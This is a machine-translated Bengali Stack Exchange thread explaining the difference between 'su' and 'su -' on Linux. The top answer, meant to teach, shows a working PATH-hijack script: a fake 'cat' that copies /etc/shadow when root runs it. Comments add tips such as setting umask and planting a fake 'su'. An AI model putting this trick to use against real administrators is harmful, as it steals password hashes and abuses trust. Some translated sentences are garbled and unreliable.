আমরা কেন su ব্যবহার করি - এবং কেবল su ব্যবহার করি না?


178

রুট হিসাবে লগইন করা কেন su -বেশি পছন্দ করা suহয় তা আমি বুঝতে পারি না ।

উত্তর:


240

su -ব্যবহারকারী স্যুইচ করার পরে একটি লগইন শেল আহ্বান। একটি লগইন শেল বেশিরভাগ পরিবেশের ভেরিয়েবলগুলি পুনরায় সেট করে, একটি পরিষ্কার বেস সরবরাহ করে।

su পুরানো ব্যবহারকারীর মতোই পরিবেশের সাথে একটি সাধারণ শেল সরবরাহ করে কেবল ব্যবহারকারীকে স্যুইচ করে।

কল্পনা করুন, আপনি কোনও মেশিনে সাধারণ ব্যবহারকারী অ্যাক্সেস সহ একটি সফ্টওয়্যার বিকাশকারী এবং আপনার অজ্ঞ প্রশাসক আপনাকে কেবল রুট অ্যাক্সেস দেবেন না। আসুন (আশা করি) তাকে ঠকাই।

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

এখন, আপনি আপনার প্রশাসককে জিজ্ঞাসা করুন কেন আপনি catআপনার বাড়ির ফোল্ডারে ডামি ফাইলটি করতে পারবেন না , এটি ঠিক কাজ করবে না!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

যদি আপনার অ্যাডমিনটি স্মার্ট বা কিছুটা অলস না হয় তবে তিনি আপনার ডেস্কে এসে তার অতি ব্যবহারকারী-শক্তি দিয়ে চেষ্টা করতে পারেন:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

কি দারুন! ধন্যবাদ, সুপার অ্যাডমিন!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

তিনি, তিনি।

আপনি হয়ত লক্ষ্য করেছেন যে দুর্নীতিযুক্ত $PATHভেরিয়েবলটি পুনরায় সেট করা হয়নি। su -পরিবর্তে প্রশাসক প্রার্থনা করলে এটি ঘটত না।


10
su --হিসাবে একই su
মাইকেল

12
- এমন একটি পতাকা যা বেশিরভাগ প্রোগ্রাম "এর পরে পতাকা হিসাবে নেওয়া উচিত নয়" হিসাবে ব্যাখ্যা করে। ড্যাশ দিয়ে শুরু হওয়া জিনিসগুলির জন্য গ্রেপিংয়ের জন্য দরকারী।
ডেভিড ম্যাকিনটোস

2
umask000 এর মতো একটি সেট করতে ভুলবেন না বা এটি কাজ করবে না।
লেকেনস্টেইন

10
একজন কেবল suPATH এর ভিতরে একটি ফাইল রাখতে পারে । বাস্তবের আচরণ অনুকরণ করা এতটা কঠিন নয় su। এই সুপার-ইউজারটি যাইহোক নির্লিপ্ত হয়েছে :-)
স্টাফেন গিমেনেজ

10
su --এর মতো নয় su -: --গেটপট (গুলি) (বা অনুরূপ) অপশন হ্যান্ডলারকে আরও বিকল্পের জন্য কমান্ড লাইনটি প্রক্রিয়াকরণ বন্ধ করতে বলে (উদাহরণস্বরূপ ব্যবহারকারীর বাকী অংশে যদি ফাইলের নাম থাকে যা '-' দিয়ে শুরু হতে পারে)। অর্থাত, মধ্যে "RM -i - -f": -f তারপর যেমন একটি নিয়মিত যুক্তি হিসাবে গণ্য হবে, তাই এটি হলো ফাইলের নাম থেকে rm -i, এবং না একটি additionnal যেমন -fবিকল্প rmকমান্ড। তাই su --ঠিক suএবং না su -! সুতরাং su --ফক্কড় দ্বারা (মজার এবং শিক্ষামূলক) উদাহরণস্বরূপ givan হিসেবে অনিরাপদ হবে। ব্যবহার su -
অলিভিয়ার ডুলাক

35

su -আপনাকে সম্পূর্ণরূপে মূল হিসাবে লগ ইন করে, যেখানে suএটি আপনাকে রুট হওয়ার ভান করে চলে।

এর সর্বাধিক সুস্পষ্ট উদাহরণ ~হ'ল আপনি যদি ব্যবহার করেন তবে মূলের হোম ডিরেক্টরি, তবে আপনি যদি ব্যবহার করেন su -তবে আপনার নিজের ডিরেক্টরি ডিরেক্টরি su

আপনার সিস্টেমের উপর নির্ভর করে এর অর্থ প্রম্পট PATH, বা ইতিহাসের ফাইলের মধ্যে পার্থক্যও হতে পারে ।

সুতরাং আপনি যদি কোনও সিস্টেম পরিচালিত একটি দলের অংশ হন এবং আপনার সহকর্মী আপনাকে চালনার জন্য আদেশ দেয়, আপনি জানেন যে আপনি উভয়ই ব্যবহার করছেন তবে এটি একই রকম হবে তবে আপনি যদি উভয়ই ব্যবহার করছেন su -তবে আপনার suপার্থক্যের কারণ হতে পারে বিভিন্ন শেল কনফিগারেশন।

অন্যদিকে, আপনি যদি রুট হিসাবে একটি কমান্ড চালাতে চান তবে নিজের কনফিগারেশন ব্যবহার করে থাকেন, তবে সম্ভবত আপনার পক্ষে suএটি আরও ভাল।

এছাড়াও ভুলে যাবেন না sudo, যার -sশেলটি রুট হিসাবে চলমান শুরু করার বিকল্প রয়েছে । অবশ্যই এটিরও বিভিন্ন বিধি রয়েছে এবং আপনি কোন বিতরণটি ব্যবহার করছেন তার উপর নির্ভর করে এগুলি পরিবর্তন হয়।


1
যখন আমি "su" পাই আমি ~ এবং $ হোম উভয়ই / মূলের কাছে মূল্যায়ন করি। আপনি যে আচরণটি বর্ণনা করেছেন সেটি কি নির্দিষ্ট শেল বা ওএস সংস্করণ বা কোনও কিছুর সাথে নির্দিষ্ট? এটি আমার বোঝা যে কার্নেল দ্বারা ~ প্রসারিত করা যেতে পারে। আমি আমার (এবং মূলের) শেল হিসাবে zsh পেয়েছি।
জেসনওয়ুফ

তোমার .bashrcবা /etc/bashrcবা /etc/profile.dস্ক্রিপ্ট সেটিং করা হয় PATH। সন্ধান করুন if [ $UID -eq 0 ]বা এরকম কিছু।
মাইকেল

$USERউদাহরণস্বরূপ অপরিবর্তিত রয়েছে।
পিটারফ

1
কি হবে sudo su?
সাইমন কুয়াং

1
আপনার উদাহরণ আমার জন্য কাজ করে না। আমি একই ডিরেক্টরিটি কোনওভাবেই সমাধান করেছি get
ড্যানিয়েল ডব্লিউ।

1

আমি su ব্যবহার করি - আমি যখন নিয়মিত ব্যবহারকারী হিসাবে কোনও ডিরেক্টরিতে থাকি তবে রুটে যেতে চাই এবং স্যুইচের পরে একই ডিরেক্টরিতে থাকতে চাই। আপনি যখন su ব্যবহার করেন - এটি ব্যবহারকারীকে রুটে স্যুইচ করে এবং আপনাকে / root এ নিয়ে যায় যা মূল হোম ডিরেক্টরি।


অথবা /অথবা যাই হোক না কেন রুট এর হোম ডিরেক্টরি হিসাবে সংজ্ঞায়িত করা হয়
জেফ স্ক্যালার হলেন

-1

মূল পার্থক্যটি হ'ল:

su - username শেল পরিবেশটি এমনভাবে সেট আপ করে যেমন এটি নির্দিষ্ট ব্যবহারকারী হিসাবে পরিষ্কার লগইন হয়, এটি নির্দিষ্ট ব্যবহারকারীদের পরিবেশের ভেরিয়েবলগুলি অ্যাক্সেস করে এবং ব্যবহার করে,

su username সুনির্দিষ্ট ব্যবহারকারীর জন্য বর্তমান পরিবেশ সেটিংস সহ একটি শেল শুরু করে।

যদি ব্যবহারকারীর নামটি সুনির্দিষ্টভাবে নির্দিষ্ট না করা থাকে suএবং su -, রুট অ্যাকাউন্টটি ডিফল্ট হিসাবে অন্তর্ভুক্ত থাকে।

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.